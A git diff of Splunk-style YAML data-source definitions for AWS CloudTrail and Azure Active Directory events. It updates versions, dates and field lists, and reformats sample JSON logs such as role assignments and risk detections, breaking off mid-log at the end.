+77,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -84,13 +91,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -103,4 +103,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:42:26Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "UpdateTrail", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/cloudtrail.update-trail", "requestParameters": {"name": "Regulatory", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true}, "responseElements": {"name": "Regulatory", "s3BucketName": "s3-for-cloudtrail-logs111", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true, "trailARN": "arn:aws:cloudtrail:us-west-2:111111111111:trail/Regulatory", "logFileValidationEnabled": false, "isOrganizationTrail": false}, "requestID": "0da61466-5bba-43f9-b7e1-27437de120b2", "eventID": "ce02af60-f29e-4bc2-8b29-31c12f408fed", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:42:26Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "UpdateTrail", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/cloudtrail.update-trail", "requestParameters": {"name": "Regulatory", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true}, "responseElements": {"name": "Regulatory", "s3BucketName": "s3-for-cloudtrail-logs111", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true, "trailARN": "arn:aws:cloudtrail:us-west-2:111111111111:trail/Regulatory", "logFileValidationEnabled": false, "isOrganizationTrail": false}, "requestID": "0da61466-5bba-43f9-b7e1-27437de120b2", "eventID": "ce02af60-f29e-4bc2-8b29-31c12f408fed", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/azure_active_directory.yml b/data_sources/azure_active_directory.yml index 8cf3fced71..dbfaeaa943 100644 --- a/data_sources/azure_active_directory.yml +++ b/data_sources/azure_active_directory.yml @@ -1,13 +1,136 @@ name: Azure Active Directory id: 51ca21e5-bda2-4652-bb29-27c7bc18a81c -version: 2 +version: 3 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: All Azure Active Directory events source: Azure AD sourcetype: azure:monitor:aad separator: operationName +fields: + - _time + - action + - additional_details + - additional_details_name + - additional_details_value + - app + - authentication_service + - callerIpAddress + - category + - change_type + - command + - correlationId + - dataset_name + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - description + - dest + - dest_type + - durationMs + - dvc + - eventtype + - host + - id + - identity + - index + - Level + - linecount + - location + - object + - object_attrs + - object_category + - object_id + - operationName + - operationVersion + - path_from_resourceId + - properties.activity + - properties.activityDateTime + - properties.activityDisplayName + - properties.additionalDetails{}.key + - properties.additionalDetails{}.value + - properties.additionalInfo + - properties.category + - properties.correlationId + - properties.crossTenantAccessType + - properties.detectedDateTime + - properties.detectionTimingType + - properties.homeTenantId + - properties.id + - properties.initiatedBy.user.displayName + - properties.initiatedBy.user.id + - properties.initiatedBy.user.ipAddress + - properties.initiatedBy.user.userPrincipalName + - properties.ipAddress + - properties.lastUpdatedDateTime + - properties.location.city + - properties.location.countryOrRegion + - properties.location.geoCoordinates.altitude + - properties.location.geoCoordinates.latitude + - properties.location.geoCoordinates.longitude + - properties.location.state + - properties.loggedByService + - properties.operationType + - properties.requestId + - properties.resourceTenantId + - properties.result + - properties.resultReason + - properties.riskDetail + - properties.riskEventType + - properties.riskLevel + - properties.riskState + - properties.riskType + - properties.source + - properties.targetResources{}.displayName + - properties.targetResources{}.id + - properties.targetResources{}.modifiedProperties{}.displayName + - properties.targetResources{}.modifiedProperties{}.newValue + - properties.targetResources{}.modifiedProperties{}.oldValue + - properties.targetResources{}.type + - properties.tokenIssuerType + - properties.userAgent + - properties.userDisplayName + - properties.userId + - properties.userPrincipalName + - properties.userType + - punct + - resourceId + - result + - result_id + - resultSignature + - severity + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype + - tenantId + - time + - timeendpos + - timestartpos + - type + - user + - user_agent + - user_id + - user_name + - user_type + - vendor_account + - vendor_product + - vendor_region supported_TA: - name: Splunk Add-on for Microsoft Cloud Services url: https://splunkbase.splunk.com/app/3110 @@ -18,3 +141,5 @@ output_fields: - src - vendor_account - vendor_product +example_log: | + {"time": "8/2/2023 1:08:44 PM", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/microsoft.aadiam", "operationName": "User Risk Detection", "operationVersion": "1.0", "category": "UserRiskEvents", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "72.43.122.40", "correlationId": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "identity": "ava.brown", "Level": 4, "location": "us", "properties": {"id": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "requestId": "14066cab-a7bf-4e12-ba3d-17a026373700", "correlationId": "20afe6ab-d103-42c9-a810-97c25b61b279", "riskType": "maliciousIPAddress", "riskEventType": "maliciousIPAddress", "riskState": "atRisk", "riskLevel": "high", "riskDetail": "none", "source": "IdentityProtection", "detectionTimingType": "offline", "activity": "signin", "ipAddress": "72.43.122.40", "location": {"city": "New York", "state": "New York", "countryOrRegion": "US", "geoCoordinates": {"altitude": 0.0, "latitude": 0, "longitude": -0}}, "activityDateTime": "2023-08-01T19:55:29.638Z", "detectedDateTime": "2023-08-02T9:12:15.353Z", "lastUpdatedDateTime": "2023-08-02T13:08:44.445Z", "userId": "bd4a5efd-ffd5-4e27-9d7d-96e9094a74ec", "userDisplayName": "Ava.Brown", "userPrincipalName": "Ava.Brown@splunkresearch.com", "additionalInfo": "[{\"Key\":\"userAgent\",\"Value\":\"Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4\"}]", "tokenIssuerType": "AzureAD", "resourceTenantId": null, "homeTenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "userType": "member", "crossTenantAccessType": "none"}} diff --git a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml index 5ea501b2a5..168c9b939e 100644 --- a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml +++ b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add app role assignment to service principal id: 8b2e84cd-6db0-47e9-badc-75c17df1995f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an application role assignment to a service principal in Azure Active Directory, including details about the role, service principal, and the user or process performing the action. mitre_components: @@ -20,7 +20,6 @@ supported_TA: version: 6.3.3 fields: - _time - - Level - additional_details - additional_details_name - additional_details_value @@ -44,6 +43,7 @@ fields: - id - identity - index + - Level - linecount - object_attrs - object_id @@ -57,34 +57,38 @@ fields: - properties.category - properties.correlationId - properties.id + - properties.identity - properties.initiatedBy.app.appId - properties.initiatedBy.app.displayName - properties.initiatedBy.app.servicePrincipalId - properties.initiatedBy.app.servicePrincipalName - properties.loggedByService + - properties.operationName - properties.operationType - properties.result + - properties.resultDescription - properties.resultReason + - properties.resultType - properties.targetResources{}.displayName - properties.targetResources{}.id - properties.targetResources{}.modifiedProperties{}.displayName - properties.targetResources{}.modifiedProperties{}.newValue - properties.targetResources{}.modifiedProperties{}.oldValue - properties.targetResources{}.type + - properties.tenantGeo + - properties.tenantId - properties.userAgent - punct - resourceId - result - - resultSignature - result_id + - resultSignature - signature - source - sourcetype - splunk_server - src_user_type - status - - tag - - tag::eventtype - tenantId - time - timeendpos @@ -99,4 +103,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-02-08T21:49:53.7643129Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Add app role assignment to service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "ed53faec-49b5-444f-b6af-b928558ca433", "identity": "LegacyTestOAuthApp", "Level": 4, "properties": {"id": "Directory_ed53faec-49b5-444f-b6af-b928558ca433_XH34Q_29215277", "category": "ApplicationManagement", "correlationId": "ed53faec-49b5-444f-b6af-b928558ca433", "result": "success", "resultReason": "", "activityDisplayName": "Add app role assignment to service principal", "activityDateTime": "2024-02-08T21:49:53.7643129+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"app": {"appId": null, "displayName": "LegacyTestOAuthApp", "servicePrincipalId": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "servicePrincipalName": null}}, "targetResources": [{"id": "8429eb5c-faeb-4ade-8eac-acc003790769", "displayName": "Office 365 Exchange Online", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AppRole.Id", "oldValue": null, "newValue": "\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\""}, {"displayName": "AppRole.Value", "oldValue": null, "newValue": "\"full_access_as_app\""}, {"displayName": "AppRole.DisplayName", "oldValue": null, "newValue": "\"Use Exchange Web Services with full access to all mailboxes\""}, {"displayName": "AppRoleAssignment.CreatedDateTime", "oldValue": null, "newValue": "\"2024-02-08T21:49:53.6813076Z\""}, {"displayName": "AppRoleAssignment.LastModifiedDateTime", "oldValue": null, "newValue": "\"2024-02-08T21:49:53.6813076Z\""}, {"displayName": "ServicePrincipal.ObjectID", "oldValue": null, "newValue": "\"2e5c2fd0-cca4-452c-9891-a07c0dafd964\""}, {"displayName": "ServicePrincipal.DisplayName", "oldValue": null, "newValue": "\"STRT_Oauth\""}, {"displayName": "ServicePrincipal.AppId", "oldValue": null, "newValue": "\"5f91ce94-4cc5-4ebe-aeb6-f074e57201bb\""}, {"displayName": "ServicePrincipal.Name", "oldValue": null, "newValue": "\"5f91ce94-4cc5-4ebe-aeb6-f074e57201bb\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com\""}], "administrativeUnits": []}, {"id": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "displayName": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "type": "ServicePrincipal", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4"}, {"key": "AppId", "value": "00000002-0000-0ff1-ce00-000000000000"}]}}' +example_log: | + {"time": "2024-04-30T08:22:50.3424145Z", "resourceId": "/tenants/225e05a1-5914-4688-a404-7030e60f3143/providers/Microsoft.aadiam", "operationName": "Add app role assignment to service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "resultSignature": "None", "durationMs": 0, "correlationId": "c967e3a4-9afd-49ee-a68c-bc465aaef2b3", "identity": "MashAuthTest", "Level": 4, "properties": {"tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "resultType": "", "resultDescription": "", "operationName": "Add app role assignment to service principal", "identity": "MashAuthTest", "tenantGeo": "NA", "id": "Directory_c967e3a4-9afd-49ee-a68c-bc465aaef2b3_R6D6O_2613065", "category": "ApplicationManagement", "correlationId": "c967e3a4-9afd-49ee-a68c-bc465aaef2b3", "result": "success", "resultReason": "", "activityDisplayName": "Add app role assignment to service principal", "activityDateTime": "2024-04-30T08:22:50.3424145+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"app": {"appId": null, "displayName": "MashAuthTest", "servicePrincipalId": "ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66", "servicePrincipalName": null}}, "targetResources": [{"id": "58c0347e-8f51-49e5-a4db-8b1b857a7ddf", "displayName": "Microsoft Graph", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AppRole.Id", "oldValue": null, "newValue": "\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\""}, {"displayName": "AppRole.Value", "oldValue": null, "newValue": "\"RoleManagement.ReadWrite.Directory\""}, {"displayName": "AppRole.DisplayName", "oldValue": null, "newValue": "\"Read and write all directory RBAC settings\""}, {"displayName": "AppRoleAssignment.CreatedDateTime", "oldValue": null, "newValue": "\"2024-04-30T08:22:50.2624094Z\""}, {"displayName": "AppRoleAssignment.LastModifiedDateTime", "oldValue": null, "newValue": "\"2024-04-30T08:22:50.2624094Z\""}, {"displayName": "ServicePrincipal.ObjectID", "oldValue": null, "newValue": "\"ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66\""}, {"displayName": "ServicePrincipal.DisplayName", "oldValue": null, "newValue": "\"MashAuthTest\""}, {"displayName": "ServicePrincipal.AppId", "oldValue": null, "newValue": "\"7889f28d-ad42-441e-b1f6-1ad8da2f13e8\""}, {"displayName": "ServicePrincipal.Name", "oldValue": null, "newValue": "\"7889f28d-ad42-441e-b1f6-1ad8da2f13e8\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"https://canary.graph.microsoft.com/;https://graph.microsoft.us/;https://dod-graph.microsoft.us/;https://dod-graph.microsoft.us;https://graph.microsoft.com/;https://graph.microsoft.us;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000\""}], "administrativeUnits": []}, {"id": "ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66", "displayName": "7889f28d-ad42-441e-b1f6-1ad8da2f13e8", "type": "ServicePrincipal", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.19045; en-AU) PowerShell/5.1.19041.4291"}, {"key": "AppId", "value": "00000003-0000-0000-c000-000000000000"}]}} diff --git a/data_sources/azure_active_directory_add_member_to_role.yml b/data_sources/azure_active_directory_add_member_to_role.yml index 3f30e5003c..7173631342 100644 --- a/data_sources/azure_active_directory_add_member_to_role.yml +++ b/data_sources/azure_active_directory_add_member_to_role.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add member to role id: 1660d196-127f-4678-81b2-472d51711b07 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a member to a directory role in Azure Active Directory, including details about the role, the member added, and the user or process performing the action. mitre_components: @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,14 +38,27 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName + - properties.additionalDetails{}.key + - properties.additionalDetails{}.value - properties.category - properties.correlationId - properties.id @@ -61,18 +80,34 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-04-28T16:39:51.9312625Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add member to role", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "52.177.250.168", "correlationId": "b425f2d7-2245-4952-b599-61dff8054f2b", "Level": 4, "properties": {"id": "Directory_b425f2d7-2245-4952-b599-61dff8054f2b_FLAW0_72812697", "category": "RoleManagement", "correlationId": "b425f2d7-2245-4952-b599-61dff8054f2b", "result": "success", "resultReason": "", "activityDisplayName": "Add member to role", "activityDateTime": "2023-04-28T16:39:51.9312625+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "3bd47e42-37c9-442f-a2b4-f04de61ef0ce", "displayName": null, "userPrincipalName": "strt_admin@splunkresearch.com", "ipAddress": "52.177.250.168", "roles": []}}, "targetResources": [{"id": "0d664d57-a3ee-4049-8642-280a5c7243ef", "displayName": null, "type": "User", "userPrincipalName": "User1@splunkresearch.com", "modifiedProperties": [{"displayName": "Role.ObjectID", "oldValue": null, "newValue": "\"38bf5baf-7ec7-4bc2-8920-6d4044da12c2\""}, {"displayName": "Role.DisplayName", "oldValue": null, "newValue": "\"Privileged Role Administrator\""}, {"displayName": "Role.TemplateId", "oldValue": null, "newValue": "\"9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3\""}, {"displayName": "Role.WellKnownObjectName", "oldValue": null, "newValue": "\"ApplicationAdministrators\""}], "administrativeUnits": []}, {"id": "38bf5baf-7ec7-4bc2-8920-6d4044da12c2", "displayName": null, "type": "Role", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-06-27T22:29:52.2296810Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add member to role", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:944:c9d7:a3bb:de44", "correlationId": "59208262-ea89-4d82-a16b-00b81c111a38", "Level": 4, "properties": {"id": "Directory_59208262-ea89-4d82-a16b-00b81c111a38_R63ZQ_355377136", "category": "RoleManagement", "correlationId": "59208262-ea89-4d82-a16b-00b81c111a38", "result": "success", "resultReason": "", "activityDisplayName": "Add member to role", "activityDateTime": "2023-06-27T22:29:52.229681+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "dummyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:944:c9d7:a3bb:de44", "roles": []}}, "targetResources": [{"id": "99c677b8-a4ae-478c-9ccc-57043a2843a5", "displayName": null, "type": "User", "userPrincipalName": "Ava.Brown@splunkresearch.com", "modifiedProperties": [{"displayName": "Role.ObjectID", "oldValue": null, "newValue": "\"38bf5baf-7ec7-4bc2-8920-6d4044da12c2\""}, {"displayName": "Role.DisplayName", "oldValue": null, "newValue": "\"Application Administrator\""}, {"displayName": "Role.TemplateId", "oldValue": null, "newValue": "\"9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3\""}, {"displayName": "Role.WellKnownObjectName", "oldValue": null, "newValue": "\"UserAccountAdmins\""}], "administrativeUnits": []}, {"id": "38bf5baf-7ec7-4bc2-8920-6d4044da12c2", "displayName": null, "type": "Role", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_add_owner_to_application.yml b/data_sources/azure_active_directory_add_owner_to_application.yml index 0d1814a1fb..3f67cbb319 100644 --- a/data_sources/azure_active_directory_add_owner_to_application.yml +++ b/data_sources/azure_active_directory_add_owner_to_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add owner to application id: e895ed56-7be4-4b3a-b782-ecd0f594ec4c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an owner to an application in Azure Active Directory, including details about the application, the owner added, and the user or process performing the action. mitre_components: @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,13 +38,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -64,20 +80,36 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tag - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-06-20T15:54:13.2420879Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add owner to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "20.190.135.43", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "Level": 4, "properties": {"id": "Directory_231de5d4-2156-433a-8163-48956bdaa040_C21RW_365283677", "category": "ApplicationManagement", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "result": "success", "resultReason": "", "activityDisplayName": "Add owner to application", "activityDateTime": "2023-06-20T15:54:13.2420879+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "4d3f1865-b395-4430-91dc-1b9dd337712e", "displayName": null, "userPrincipalName": "globaladmin@splunkresearch.com", "ipAddress": "20.190.135.43", "roles": []}}, "targetResources": [{"id": "dd92f1af-43d7-47d9-b93c-a78c6b635180", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "Application.ObjectID", "oldValue": null, "newValue": "\"bb2479d8-5e89-4480-bb7e-3178d5a5d469\""}, {"displayName": "Application.DisplayName", "oldValue": null, "newValue": "\"CloudForge\""}, {"displayName": "Application.AppId", "oldValue": null, "newValue": "\"f0748f3d-45f2-4e2e-a4e1-f2e2b5271bdf\""}], "administrativeUnits": []}, {"id": "bb2479d8-5e89-4480-bb7e-3178d5a5d469", "displayName": null, "type": "Application", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4"}]}}' +example_log: | + {"time": "2023-06-20T15:54:13.2420879Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add owner to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "20.190.135.43", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "Level": 4, "properties": {"id": "Directory_231de5d4-2156-433a-8163-48956bdaa040_C21RW_365283677", "category": "ApplicationManagement", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "result": "success", "resultReason": "", "activityDisplayName": "Add owner to application", "activityDateTime": "2023-06-20T15:54:13.2420879+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "4d3f1865-b395-4430-91dc-1b9dd337712e", "displayName": null, "userPrincipalName": "globaladmin@splunkresearch.com", "ipAddress": "20.190.135.43", "roles": []}}, "targetResources": [{"id": "dd92f1af-43d7-47d9-b93c-a78c6b635180", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "Application.ObjectID", "oldValue": null, "newValue": "\"bb2479d8-5e89-4480-bb7e-3178d5a5d469\""}, {"displayName": "Application.DisplayName", "oldValue": null, "newValue": "\"CloudForge\""}, {"displayName": "Application.AppId", "oldValue": null, "newValue": "\"f0748f3d-45f2-4e2e-a4e1-f2e2b5271bdf\""}], "administrativeUnits": []}, {"id": "bb2479d8-5e89-4480-bb7e-3178d5a5d469", "displayName": null, "type": "Application", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4"}]}} diff --git a/data_sources/azure_active_directory_add_service_principal.yml b/data_sources/azure_active_directory_add_service_principal.yml index 1056b51476..13d82b6509 100644 --- a/data_sources/azure_active_directory_add_service_principal.yml +++ b/data_sources/azure_active_directory_add_service_principal.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add service principal id: fd89d337-e4c0-4162-ad13-bca36f096fe6 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new service principal in Azure Active Directory, including details about the service principal, associated application, and the user or process performing the action. mitre_components: @@ -20,9 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value + - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +38,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id + - identity - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -44,6 +63,10 @@ fields: - properties.category - properties.correlationId - properties.id + - properties.initiatedBy.app.appId + - properties.initiatedBy.app.displayName + - properties.initiatedBy.app.servicePrincipalId + - properties.initiatedBy.app.servicePrincipalName - properties.initiatedBy.user.displayName - properties.initiatedBy.user.id - properties.initiatedBy.user.ipAddress @@ -61,18 +84,37 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id + - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2024-02-07T22:31:14.4970418Z", "resourceId": "/tenants/a417c578-c7ee-480d-a225-d48057e74df5/providers/Microsoft.aadiam", "operationName": "Add service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "a417c578-c7ee-480d-a225-d48057e74df5", "resultSignature": "None", "durationMs": 0, "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "Level": 4, "properties": {"id": "Directory_ea473f15-64b3-435a-a885-6ee3908919e2_GSOLK_21152854", "category": "ApplicationManagement", "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "result": "success", "resultReason": "", 